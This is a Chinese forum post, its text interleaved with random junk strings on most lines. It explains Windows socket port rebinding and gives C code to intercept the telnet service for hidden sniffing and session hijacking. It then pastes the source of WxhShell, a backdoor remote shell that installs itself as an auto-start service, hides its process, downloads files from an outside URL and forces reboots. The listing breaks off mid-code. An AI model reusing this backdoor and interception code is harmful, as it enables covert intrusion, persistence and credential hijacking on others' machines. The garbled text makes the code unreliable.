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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (G"b)"Qum  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EG0NikT?  
U$pHfNTH  
  saddr.sin_family = AF_INET; awXL}m[_!  
=5LtEgHU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;P _`4w3  
SM:{o&S`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D;<Q m,[  
+iwNM+K/gQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2u6N';jgZ  
-^;G^Uq6=  
  这意味着什么?意味着可以进行如下的攻击: )j@k[}R#g  
}{Lf 4|8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -b(:kAwStk  
[/*85 4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |n=kYs  
,_Fq*6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i[^?24~ c  
bsPwTp^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1(!QutEb  
[ WZ<d^L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G_[|N>  
*Yvfp{B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $Kb-mFR  
5<a)SP 0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J C1T033 r  
)u ]<8  
  #include Tc\^=e^N?  
  #include S_6`.@B}  
  #include 7esG$sVj(  
  #include    $K,rVTU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2X)E3V/*  
  int main() Z[AJat@H  
  { E] t:_v  
  WORD wVersionRequested; 4lb3quY$Us  
  DWORD ret; rg_-gZl8&z  
  WSADATA wsaData; ^=D77 jS  
  BOOL val; _ZD)#?  
  SOCKADDR_IN saddr; +B_q? 6pR  
  SOCKADDR_IN scaddr; Roy`HU ;0a  
  int err; rQ*'2Zf'<  
  SOCKET s; ui70|  
  SOCKET sc; nUhD41GJ  
  int caddsize; 0} liK  
  HANDLE mt; |RAi6;  
  DWORD tid;   yi# Nrc5B  
  wVersionRequested = MAKEWORD( 2, 2 ); rgIJ]vmy<H  
  err = WSAStartup( wVersionRequested, &wsaData ); J}`K&DtM9  
  if ( err != 0 ) { 9T|7edl  
  printf("error!WSAStartup failed!\n"); Nf0b?jn-  
  return -1; /n?5J`6  
  } **-%5 ~  
  saddr.sin_family = AF_INET; tJ.LPgfZ  
   / vje='[!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  O\]CfzR  
.(CzsupY_q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); tmK@Veb*a'  
  saddr.sin_port = htons(23); k'%c|kx8U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p`Omcl~Q  
  { ?_W "=WpC  
  printf("error!socket failed!\n"); )R9>;CuC9?  
  return -1; Tr/wG  
  } 1(hgSf1WH  
  val = TRUE; qJ"dkT*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^67P(h  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $NG}YOP)@  
  { `z5j  
  printf("error!setsockopt failed!\n"); ;-^WUf |  
  return -1; %'4dg k  
  } jDgiH}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^bL.|vB  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vT%rg r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )@1_Dm@0b  
pwd7I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wm*`  
  { kZ`60X%wE  
  ret=GetLastError(); b |m$ W  
  printf("error!bind failed!\n"); Zf]d'oW{/  
  return -1; 3$l'>v+5{  
  } bMkn(_H)\  
  listen(s,2); N;-+)=M,rf  
  while(1) t}nZrD  
  { #dW$"u   
  caddsize = sizeof(scaddr); #hR}7K+@  
  //接受连接请求  9<[RXY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O%(:8nIgZ  
  if(sc!=INVALID_SOCKET) \RMYaI^+;  
  { X"iy.@7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X-oou'4<  
  if(mt==NULL) 3{d1Jk/S  
  { wzo-V^+q  
  printf("Thread Creat Failed!\n"); fRaVY`|wK  
  break; b%,5B  
  } @%ChPjN  
  } r1ctW#\~8  
  CloseHandle(mt); B`RbXk68q  
  } 1/gY]ghL  
  closesocket(s); wvT!NN K2  
  WSACleanup(); 4w]u: eU  
  return 0;  >?U (w<  
  }   O~fRcf:Q  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,a^_ ~(C  
  { bi KpV? Dp  
  SOCKET ss = (SOCKET)lpParam; I7BfA,mZ7  
  SOCKET sc; /o8`I m   
  unsigned char buf[4096]; [^ 7^&/0  
  SOCKADDR_IN saddr; <&l3bL  
  long num; A8c'CMEm  
  DWORD val; 4X#>;  
  DWORD ret; Pm+H!x,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 JsfbY^wz  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *tz"T-6O  
  saddr.sin_family = AF_INET; 'OBA nE<.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K{M_ 4'\  
  saddr.sin_port = htons(23); E# e=<R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,E)bS7W  
  { &giJO-^ f  
  printf("error!socket failed!\n"); ,W{Qv<oo  
  return -1; x3wyIio*  
  } SGNi~o  
  val = 100; Cd|V<BB9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v{?9PRf\s  
  { z?j~ 2K<4  
  ret = GetLastError(); I|Z5*iXqCm  
  return -1; fB  
  } (zJ TBI'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !R{L`T0  
  { ']Y:f)i#  
  ret = GetLastError(); Z?"Pkc.Ei  
  return -1; UvQxtT]  
  } _e~EQ[,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `Ph4!-6#  
  { d+2I+O03  
  printf("error!socket connect failed!\n"); LsV!Sd  
  closesocket(sc); $`l- cSH;  
  closesocket(ss); !WVF{L,/I  
  return -1; q3scz  
  } gyI5;il~  
  while(1) %@H;6   
  { 4^AE;= Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a&XURyp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O%0G37h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,p$1n;  
  num = recv(ss,buf,4096,0); >K50 h  
  if(num>0) !^l<jrM  
  send(sc,buf,num,0); >-y'N.l^  
  else if(num==0) ) I-8 .  
  break; .]v8W51Y  
  num = recv(sc,buf,4096,0); V-7!)&q  
  if(num>0) <FGNV+?%e  
  send(ss,buf,num,0); +Icg;m{  
  else if(num==0) \8_&@uLm  
  break; L2Gm0 v  
  } @#8F5G#  
  closesocket(ss); 3b#KrN'  
  closesocket(sc); LAMTf"a  
  return 0 ; g&BF#)7C  
  } Fm [,u  
=UTv  
*(o~pxFTR  
========================================================== \:-; {  
_5.7HEw>/  
下边附上一个代码,,WXhSHELL 1S.nqOfx  
8@b@y|#]X  
========================================================== "V?U^L>SF  
42# rhgW  
#include "stdafx.h" 'Ur$jW  
)W*S6}A  
#include <stdio.h> Dyt}"r\  
#include <string.h> D}\% Q #  
#include <windows.h> 5 ^f>L2  
#include <winsock2.h> 5^0W\  
#include <winsvc.h> 7*@qd&  
#include <urlmon.h> #G9S[J=xe  
(hd2&mSy  
#pragma comment (lib, "Ws2_32.lib") QabF(}61  
#pragma comment (lib, "urlmon.lib") K-p1v!IC  
#\t?`\L3  
#define MAX_USER   100 // 最大客户端连接数 %G\rL.H|  
#define BUF_SOCK   200 // sock buffer 6I_W4`<VeZ  
#define KEY_BUFF   255 // 输入 buffer dk{yx(Ty  
->K*r\T  
#define REBOOT     0   // 重启 `;QpPSw+  
#define SHUTDOWN   1   // 关机 |3"'>* J  
O v?k4kJ  
#define DEF_PORT   5000 // 监听端口 mQJRq??P  
a8Ci 7<V  
#define REG_LEN     16   // 注册表键长度 ">CjnF2>R  
#define SVC_LEN     80   // NT服务名长度 q| gG{9  
[gH vI  
// 从dll定义API WI}P(!h\J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F S1<f:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \7gLk:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OU0\xx1/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fTV:QAa;  
bnUd !/;  
// wxhshell配置信息 J qjb@'i  
struct WSCFG { j<wg>O:s%r  
  int ws_port;         // 监听端口 8~rD#8`6j  
  char ws_passstr[REG_LEN]; // 口令 PN0:,.4  
  int ws_autoins;       // 安装标记, 1=yes 0=no ic?6p  
  char ws_regname[REG_LEN]; // 注册表键名 lh8`.sWk4V  
  char ws_svcname[REG_LEN]; // 服务名 ETjlq]@j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vxZz9+UbF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2hmV 1gj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9:YiLoz?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d t0?4 d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p~+)!Z#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p0'A\@|  
pS*vwYA  
}; HPr5mWs:  
0'z$"(6D  
// default Wxhshell configuration ddlLS  
struct WSCFG wscfg={DEF_PORT, eN N%%Q  
    "xuhuanlingzhe", 4wBMBCJ;P  
    1, )Q 6R6xW  
    "Wxhshell",   3xV  
    "Wxhshell",  ] |~],\  
            "WxhShell Service", EiIbp4*e  
    "Wrsky Windows CmdShell Service", Xm\tyLY  
    "Please Input Your Password: ", 7(Y!w8q&^  
  1, {gK i15t  
  "http://www.wrsky.com/wxhshell.exe", M/ R#f9W  
  "Wxhshell.exe" X#gZgz ='  
    }; 8cR4@Hqx  
ykX}T6T  
// 消息定义模块 ~A [ Ju%R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }UQBaqDH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c%Kv"Z%f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m3P%E8<Q#  
char *msg_ws_ext="\n\rExit."; A&F@+X6@  
char *msg_ws_end="\n\rQuit."; (#LV*&K%IC  
char *msg_ws_boot="\n\rReboot..."; 2$=?;~  
char *msg_ws_poff="\n\rShutdown..."; Aw9^}k}UfD  
char *msg_ws_down="\n\rSave to "; jyLpe2 S  
r`B8Cik  
char *msg_ws_err="\n\rErr!"; _@jl9<t=_  
char *msg_ws_ok="\n\rOK!"; WR gAc%  
,MuLu,$/  
char ExeFile[MAX_PATH]; kJHUaXM  
int nUser = 0; $*L@y m  
HANDLE handles[MAX_USER]; p>|;fS\`@}  
int OsIsNt; B.0(}@  
yxLGseD  
SERVICE_STATUS       serviceStatus; r?[PIf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '1^\^)&q  
U#d&#",s  
// 函数声明 C4TJS,!1rH  
int Install(void); 7cY_=X-?Y  
int Uninstall(void); :}e*3={4  
int DownloadFile(char *sURL, SOCKET wsh); 5JIa?i>B  
int Boot(int flag); %HwPOEJ  
void HideProc(void); yi r#G""7  
int GetOsVer(void); zrD$loaW.'  
int Wxhshell(SOCKET wsl); ^nFa'=  
void TalkWithClient(void *cs); Pm7,Nq)<>n  
int CmdShell(SOCKET sock); mNWmp_c,1  
int StartFromService(void); @H1pPr  
int StartWxhshell(LPSTR lpCmdLine); jYO@ %bQ  
L7%Dc2{^(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $2 ~A^#"0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F+*: >@3  
n]6xrsE  
// 数据结构和表定义 -Ufd+(   
SERVICE_TABLE_ENTRY DispatchTable[] = t 0nGZ%`  
{ L8/o9N1  
{wscfg.ws_svcname, NTServiceMain}, j}#48{  
{NULL, NULL} - :*PXu  
}; r >u0Y  
P_,f  
// 自我安装 ATk>:^n  
int Install(void) `c(,_o a{  
{ .e"De-u  
  char svExeFile[MAX_PATH]; o/2\8   
  HKEY key; `f8{ ^Rau  
  strcpy(svExeFile,ExeFile); v3Te+oLg  
!gW$A-XD  
// 如果是win9x系统,修改注册表设为自启动 ce 1KUwo]  
if(!OsIsNt) { 'O \YL(j_e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v9u/<w68!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~EpMO]I  
  RegCloseKey(key); E9!IGci  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ofj7$se  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g@`14U/|  
  RegCloseKey(key); K3!|k(jt  
  return 0; DUM,dFIlvF  
    } >.\G/'\?  
  } >p}d:t/  
} H.v`JNs (  
else { < 5;0LPU  
;)u}`4~L  
// 如果是NT以上系统,安装为系统服务 el;^cMY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [ C] =p  
if (schSCManager!=0) y%v<Cp@R  
{ xXp\U'Ad~~  
  SC_HANDLE schService = CreateService * j:  
  ( l/DV ?27  
  schSCManager, zf5s\w.4  
  wscfg.ws_svcname, _+wv3? c"  
  wscfg.ws_svcdisp, 8Rc4+g  
  SERVICE_ALL_ACCESS, FWq 6e,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0r_8/|N#  
  SERVICE_AUTO_START, ^$`xUKp`pn  
  SERVICE_ERROR_NORMAL, #HJF==  
  svExeFile, ~; Ss)d  
  NULL, Xi4!7IOm o  
  NULL, f?2Y np=@  
  NULL, 3k5Mty  
  NULL, L!3{ASIN0  
  NULL S TVJu![  
  ); hG2btmBht  
  if (schService!=0) HJ !)D~M{  
  { &z 1A-O v  
  CloseServiceHandle(schService); zi:GvTG  
  CloseServiceHandle(schSCManager); DSizr4R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8}{';k  
  strcat(svExeFile,wscfg.ws_svcname); ^ Gq2"rDM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jt S+y)2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gD@ &/j7  
  RegCloseKey(key); q4xB`G  
  return 0; 67<zBw2  
    } HP3~.1Sp  
  } 8rGW G  
  CloseServiceHandle(schSCManager); 3wX{U8mrg  
} ,B5Ptf#  
} 0{BPT>'  
^ B=x-G.  
return 1; v"F.<Q  
} &oWWc$  
_B 8e 1an  
// 自我卸载 F$ZWQ9&5U0  
int Uninstall(void) Z, lUO.  
{ p<Ah50!B  
  HKEY key; l#\z3"b  
zt[TShD^  
if(!OsIsNt) { f`:e#x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,b-wo  
  RegDeleteValue(key,wscfg.ws_regname); U4 m[@wF  
  RegCloseKey(key); JAC W#'4hV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9(|[okB  
  RegDeleteValue(key,wscfg.ws_regname); PUltn}M  
  RegCloseKey(key); `]LaX&u  
  return 0; >BrxJw#M  
  } E&{*{u4  
} (e= ksah3>  
} s|pb0  
else { ~XsS00TL`G  
Gqk"%irZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HAf.LdnzS  
if (schSCManager!=0) a_waLH/  
{ }(a y(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d%t]:41=Z  
  if (schService!=0) umcbIi('  
  { $- =aqUU  
  if(DeleteService(schService)!=0) { HoH3.AY X  
  CloseServiceHandle(schService); @Sq=#f/=  
  CloseServiceHandle(schSCManager); 7@fd[  
  return 0; 6N~ jt  
  } >,@Fz)\:{'  
  CloseServiceHandle(schService); <j ;HRm  
  } nKu`Ta*fX  
  CloseServiceHandle(schSCManager); ,H22;UV9  
} vEtogkFA"  
} qt^%jIv  
|GdA0y\v*}  
return 1; +A~lPXAXW  
} #xW%RF  
3[SN[faS  
// 从指定url下载文件 u\t[rC=yd  
int DownloadFile(char *sURL, SOCKET wsh) [O"i!AQ  
{ 2O<S ig=  
  HRESULT hr; )P|%=laE8  
char seps[]= "/"; >z>UtT:  
char *token; Mky$#SI11  
char *file; ;f= :~go  
char myURL[MAX_PATH]; .7ahz8v  
char myFILE[MAX_PATH]; u+I-!3J87  
{@Diig  
strcpy(myURL,sURL); :]y;t/   
  token=strtok(myURL,seps); ,=$yvZs4[]  
  while(token!=NULL) _\@i&3hkx  
  { d2.n^Q"?3  
    file=token; &Ei dc .  
  token=strtok(NULL,seps); 1G.+)*:3  
  } QAygr4\X^  
2-j|q6m5  
GetCurrentDirectory(MAX_PATH,myFILE); Qi=rhN`  
strcat(myFILE, "\\"); M?[lpH3  
strcat(myFILE, file); JO :m: M  
  send(wsh,myFILE,strlen(myFILE),0); lmH!I )5  
send(wsh,"...",3,0); rt^z#2$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *ivbk /8  
  if(hr==S_OK) Zr}`W \  
return 0; pxI*vgfN7  
else M8KfC!  
return 1; / sH*if  
jvu,W4  
} V9Au\  
MYN1zYT6j  
// 系统电源模块 8^dGI9N  
int Boot(int flag) L'aMXNO  
{ $ZcmE<7k  
  HANDLE hToken; ^jf$V #z0/  
  TOKEN_PRIVILEGES tkp; D cus-,u~  
Y] P}7GZ  
  if(OsIsNt) { /3KEX{'@U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yA%[ u.{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~@'|R%jJ  
    tkp.PrivilegeCount = 1; &cpRB&bf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sv0kksj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `Z%XA>  
if(flag==REBOOT) { *2:)Rf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (a^F`#]  
  return 0; 6bHj<6>MX  
} .*Hv^_  
else { >W-e0kkH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D|=QsWZI  
  return 0; 'O{hr0q}  
} Jc:G7}j6  
  } PU -~7h+$  
  else { l_,8_u7G  
if(flag==REBOOT) { P92:}" )*>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g^0  
  return 0; Z :Kob b  
} zEO 9TuBO  
else { Ho \+xX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #e8CuS  
  return 0;  K[?wP>s  
} !kV?h5@Bo  
} HnY: gu  
3_33@MM  
return 1; X,y$!2QI  
} c#Y9L+O  
u{H_q&1  
// win9x进程隐藏模块 Pyyx/u+?@  
void HideProc(void) brTB /(E  
{ 7XR[`Tn9<  
P `2Rte6s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IloHU6h'  
  if ( hKernel != NULL ) ;nh7Elk  
  { |#-Oz#Eg'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \[D"W{9l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q45rP4mQ  
    FreeLibrary(hKernel); 6b]vHT|p  
  } pn =S%Qf]  
pAa{,,Qc  
return; ait/|a  
} _')KDy7  
[fW:%!Y'  
// 获取操作系统版本 pbgCcO~xm  
int GetOsVer(void) HuK'tU#  
{ w^ DAu1  
  OSVERSIONINFO winfo; ~&yaIuW<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _FVIN;!  
  GetVersionEx(&winfo); ]h|GaHiE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =3( ZUV X  
  return 1; f3596a  
  else L1D%vu`  
  return 0; lT(MywNsg  
} 9]7^/g*!  
vkt)!hl `  
// 客户端句柄模块 q g%<>B&"  
int Wxhshell(SOCKET wsl) tGf  
{ :^ cA\2=  
  SOCKET wsh; %*s[s0$c  
  struct sockaddr_in client; \}<nXn!  
  DWORD myID; ]"YG7|EU  
i\t4TdEx(  
  while(nUser<MAX_USER) nKHyq\  
{ ?VzST }  
  int nSize=sizeof(client);  z!F?#L5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t;4{l`dk  
  if(wsh==INVALID_SOCKET) return 1; `[:f;2(@  
ZAiQofQ:2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]0O pd9  
if(handles[nUser]==0) /Wj9Stj5  
  closesocket(wsh); G4=v2_]  
else O^IpfS\/  
  nUser++; R_H di~ k  
  } kj-S d^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +Uk/Zg w^  
"urQUpF  
  return 0; tZ6KU11O  
} H~$a6T"&  
XGO_n{ x  
// 关闭 socket n\P{Mc  
void CloseIt(SOCKET wsh)  oR5`-  
{ U~T/f-CT  
closesocket(wsh); ,m:MI/ )p  
nUser--; 4{J%`H`Q!  
ExitThread(0); _y8)jD"  
} Uh9$e  
2} T" |56  
// 客户端请求句柄 r?Z8_5Y  
void TalkWithClient(void *cs) &]ImO RN  
{ IRcZyry  
3N<FG.6  
  SOCKET wsh=(SOCKET)cs; &1VC0"YJWy  
  char pwd[SVC_LEN]; >Vg<J~[g  
  char cmd[KEY_BUFF]; ^WVr@6  
char chr[1]; |#MA?oz3T  
int i,j; >Ks|yNJ  
p~M^' k=d  
  while (nUser < MAX_USER) { 0mCrA|A.  
yTmoEy. q  
if(wscfg.ws_passstr) { yuhSP{pv'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jj([O2Eq$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .ipYZg'V  
  //ZeroMemory(pwd,KEY_BUFF); fc&4e:Ve  
      i=0; g8B@M*JA  
  while(i<SVC_LEN) { lJ}lO,g  
;zp0,[r  
  // 设置超时 g y&B"`  
  fd_set FdRead; )WBTqML[  
  struct timeval TimeOut;  C9*'.~  
  FD_ZERO(&FdRead); VV?KJz=,W=  
  FD_SET(wsh,&FdRead); *,z__S$Q)  
  TimeOut.tv_sec=8; CRS/qso[Q'  
  TimeOut.tv_usec=0; EY&hWl*a^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -,p(PK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \]o#tYN\a0  
yyBy|7QgO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :;]6\/ky  
  pwd=chr[0]; QZzi4[-as  
  if(chr[0]==0xd || chr[0]==0xa) { N|8TE7- F|  
  pwd=0; O[q {y  
  break; $%sOL( r  
  } 4GaF:/  
  i++; p+A#t~K  
    } $7lI Dt  
Nno*X9>~  
  // 如果是非法用户,关闭 socket UB=I>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]JtK)9  
} :uqsRFo&4  
V~ZAs+(2Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bm.%bA>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /Wk\ 6  
&s\w: 9In  
while(1) { Lymy/9  
Ga$+x++'*  
  ZeroMemory(cmd,KEY_BUFF); Xgc@cwd  
qifX7AXHr  
      // 自动支持客户端 telnet标准   -Vw,9VCF  
  j=0; ,GGr@})  
  while(j<KEY_BUFF) { bf::bV?T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $c[8-=  
  cmd[j]=chr[0]; K^w(WE;db  
  if(chr[0]==0xa || chr[0]==0xd) { %?R}sUo  
  cmd[j]=0; >8HcCG  
  break; - x@mS2  
  } kcI3pmgj  
  j++; Oe*emUX7  
    } EubF`w$KWX  
.J'}qkz~  
  // 下载文件 X >C*(/a  
  if(strstr(cmd,"http://")) { fY$M**/,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jj.iW@m  
  if(DownloadFile(cmd,wsh)) Bo_Ivhe[m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9>\s81^  
  else b=`h""u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xR\$2(  
  } 27G6C`}  
  else { 0Ocy$  
t%V!SvT8+  
    switch(cmd[0]) { U c$RYPq  
  9:IVSD&"Rf  
  // 帮助 GnkNoaU  
  case '?': { "\)j=MI8u+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &8z`]mB{t  
    break; n<uF9N<   
  } 4tof[n3us  
  // 安装 z45ImItH  
  case 'i': { q:+,'&<D  
    if(Install()) uI!rJc>TX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PW~+=,  
    else V8 }yK$4b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nB WVG  
    break; p,Qr9p3y  
    } ab: yH ')  
  // 卸载 2 D>WIOX  
  case 'r': { 5iwJdm  
    if(Uninstall()) L "P$LEk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SBg BZm}%  
    else ^#9 &Rk!t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "VRcR  
    break; \f5$L`  
    } lqTTTk  
  // 显示 wxhshell 所在路径 y}FTLX $  
  case 'p': { tQ&.;{5[f  
    char svExeFile[MAX_PATH]; sjvlnnO   
    strcpy(svExeFile,"\n\r"); -uHD| }  
      strcat(svExeFile,ExeFile); JUt 7  
        send(wsh,svExeFile,strlen(svExeFile),0); *?VbN}g2  
    break; q okgu$2  
    } L Me{5H  
  // 重启 z}&?^YU*)`  
  case 'b': { L#1Y R}m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wKIQK!B)mF  
    if(Boot(REBOOT)) =c"`>Vi@d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -1 ;BwlL  
    else { !X[b 4p  
    closesocket(wsh); 6*J`2U9Q  
    ExitThread(0); 3pl/k T.\  
    } P4-`<i]!S  
    break; q;3.pRw(  
    } N0,wT6.  
  // 关机 BxS\ "W  
  case 'd': { ]Nz~4ebB  
